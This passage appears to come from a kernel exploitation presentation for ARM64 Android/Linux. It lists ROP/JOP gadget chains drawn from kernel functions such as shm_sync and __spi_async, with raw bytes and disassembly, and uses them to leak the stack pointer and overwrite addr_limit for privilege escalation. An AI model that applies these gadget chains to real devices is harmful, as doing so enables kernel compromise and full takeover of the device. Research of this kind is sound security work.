(X19, X29 -> X0, X1) • Step 2: Conventional gadget sets for SP leak and addr_limit overwrite bin_page_mkwrite: A1 1F 40 F9 LDR X1, [X29,#0x38] E0 03 14 AA MOV X0, X20 60 02 3F D6 BLR X19 shm_sync: 05 08 40 F9 LDR X5, [X0,#0x10] A0 14 40 F9 LDR X0, [X5,#0x28] 04 38 40 F9 LDR X4, [X0,#0x70/0x78] A0 02 80 12 MOV W0, #0xFFFFFFEA 64 00 00 B4 CBZ X4, loc_FFFFFFC0003DFB10 E0 03 05 AA MOV X0, X5 80 00 3F D6 BLR X4 snd_pcm_common_ioctl1: 03 08 40 F9 LDR X3, [X0,#0x10] E0 03 1C AA MOV X0, X28 60 00 3F D6 BLR X3 __spi_async: 20 08 00 F9 STR X0, [X1,#0x10] 22 34 00 B9 STR W2, [X1,#0x34] A2 78 41 F9 LDR X2, [X5,#0x2F0/0x380] 40 00 3F D6 BLR X2 shm_sync: 05 08 40 F9 LDR X5, [X0,#0x10] A0 14 40 F9 LDR X0, [X5,#0x28] 04 38 40 F9 LDR X4, [X0,#0x70/0x78] A0 02 80 12 MOV W0, #0xFFFFFFEA 64 00 00 B4 CBZ X4, loc_FFFFFFC0003DFB10 E0 03 05 AA MOV X0, X5 80 00 3F D6 BLR X4 df_bcc_func: 03 04 40 F9 LDR X3, [X0,#8] 00 18 40 F9 LDR X0, [X0,#0x30] 60 00 3F D6 BLR X3 __spi_async: 20 08 00 F9 STR X0, [X1,#0x10] 22 34 00 B9 STR W2, [X1,#0x34] A2 78 41 F9 LDR X2, [X5,#0x2F0/2F8/380] 40 00 3F D6 BLR X2